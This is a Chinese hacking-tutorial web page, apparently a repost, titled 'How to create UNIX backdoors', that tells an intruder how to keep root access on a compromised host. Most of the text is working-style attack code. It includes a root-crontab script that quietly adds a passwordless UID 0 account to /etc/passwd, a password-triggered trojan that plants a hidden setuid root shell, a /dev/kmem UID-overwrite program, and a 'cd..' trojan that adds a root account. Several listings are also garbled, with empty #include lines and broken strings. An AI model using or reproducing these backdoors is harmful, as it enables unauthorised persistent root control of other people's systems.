Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 如何创建UNIX后门
【标  题】:如何创建UNIX后门
【关键字】:UNIX,后门,UNIX
【来  源】:网络

如何创建UNIX后门

Your Ad Here   Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造"后门"!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统**想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:   
   (1) (2) (3) (4) (5) (6)

   0 0 * * 3 /usr/bin/updatedb   

   1. 分钟 (0-60)

   2. 小时 (0-23)

   3. 日 (1-31)

   4. 月 (1-12)

   5. 星期 (1-7)

   6. 所要运行的程序   

   以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:   

   0 0 * * * /usr/bin/retract   

   <++> backdoor/backdoor.sh

   #!/bin/csh   

   set evilflag = (`grep eviluser /etc/passwd`)  

   if($#evilflag == 0) then   

   set linecount = `wc -l /etc/passwd`

   cd

   cp /etc/passwd ./temppass

   @ linecount[1] /= 2

   @ linecount[1] += 1

   split -$linecount[1] ./temppass

   echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa

   cat ./xab >> ./xaa

   mv ./xaa /etc/passwd

   chmod 644 /etc/passwd

   rm ./xa* ./temppass

   echo Done...

   else

   endif

   <-->   

   [综合]   

  当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:   

   <++> backdoor/backdoor3.c

   #include

   #define pass "triad"

   #define BUFFERSIZE 6   

   int main(argc, argv)

   int argc;

   char *argv[];{   

   int i=0;   

   if(argv[1]){   

   if(!(strcmp(pass,argv[1]))){   

   system("cp /bin/csh /bin/.swp121");

   system("chmod 4755 /bin/.swp121");

   system("chown root /bin/.swp121");

   system("chmod 4755 /bin/.swp121");

   }

   }   

   printf("372f: Invalid control argument, unable to initialize. Retrying");

   for(;i<10;i++){

   fprintf(stderr,".");

   sleep(1);

   }

   printf("

   Action aborted after 10 attempts.

   ");

   return(0);

   }

   <-->   

   [变种]  

   以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。  

   <++> backdoor/kmemthief.c

   #include

   #include

   #include

   #include

   #include

   #include

   #include   

   #define pass "triad"  

   struct user userpage;

   long address(), userlocation;  

   int main(argc, argv, envp)

   int argc;

   char *argv[], *envp[];{  

   int count, fd;

   long where, lseek();   

   if(argv[1]){

   if(!(strcmp(pass,argv[1]))){

   fd=(open("/dev/kmem",O_RDWR);   

   if(fd<0){

   printf("Cannot read or write to

   /dev/kmem

   ");

   perror(argv);

   exit(10);

   }   

   userlocation=address();

   where=(lseek(fd,userlocation,0);   

   if(where!=userlocation){

   printf("Cannot seek to user page

   ");

   perror(argv);

   exit(20);

   }   

   count=read(fd,&userpage,sizeof(struct user));  

   if(count!=sizeof(struct user)){

   printf("Cannot read user page

   ");

   perror(argv);

   exit(30);

   }   

   printf("Current UID: %d

   ",userpage.u_ruid);

   printf("Current GID: %d

   ",userpage.g_ruid);   

   userpage.u_ruid=0;

   userpage.u_rgid=0;   

   where=lseek(fd,userlocation,0);   

   if(where!=userlocation){

   printf("Cannot seek to user page

   ");

   perror(argv);

   exit(40);

   }
  

   write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));   

   execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

   }

   }   

   }

   <-->   

   ["笨"方法]  

   你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点"贡献"呢?:) 例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例:   

   <++> backdoor/dumb.c

   /*

   本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。

   */   
   #include
   #include   
   main()
   {
   FILE *fd;
   fd=fopen("/etc/passwd","a+");
   fprintf(fd,"hax0r::0:0::/root:/bin/sh
   ");
   system("cd");
   }
   <-->   
菜鸟打开对方CMD的三种方法:【上一篇】
手工脱ASPR壳的一点思路:【下一篇】
【相关文章】
  • 网络世界的“后门”-端口的故事⑥
  • 网络世界的“后门”-端口的故事④
  • 网络世界的“后门”-端口的故事②
  • 网络世界的“后门”-端口的故事③
  • 在程序中封装后门的菜鸟办法
  • 计算机网络后门之面面观
  • 创建UNIX后门(初级篇)
  • Win2000 下Ping 后门的简单实现
  • 用DOS命令破除UNIX系统管理员口令
  • 自己编写Email 炸弹 (unix)
  • 【随机文章】
  • 中南海
  • java中图象合成技术
  • 今天看了TMAKE文档
  • 对MFC封装Windows通讯API的研究
  • PhotoImpact 新工具Z-Merge
  • pro*c 编程学习
  • Oracle认证一览(上)
  • Novell展示SuSE Linux 9.3专业版
  • 对比国内门户网站对Flash激活限制的处理
  • C#获取本地计算机名IP,Mac地址
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.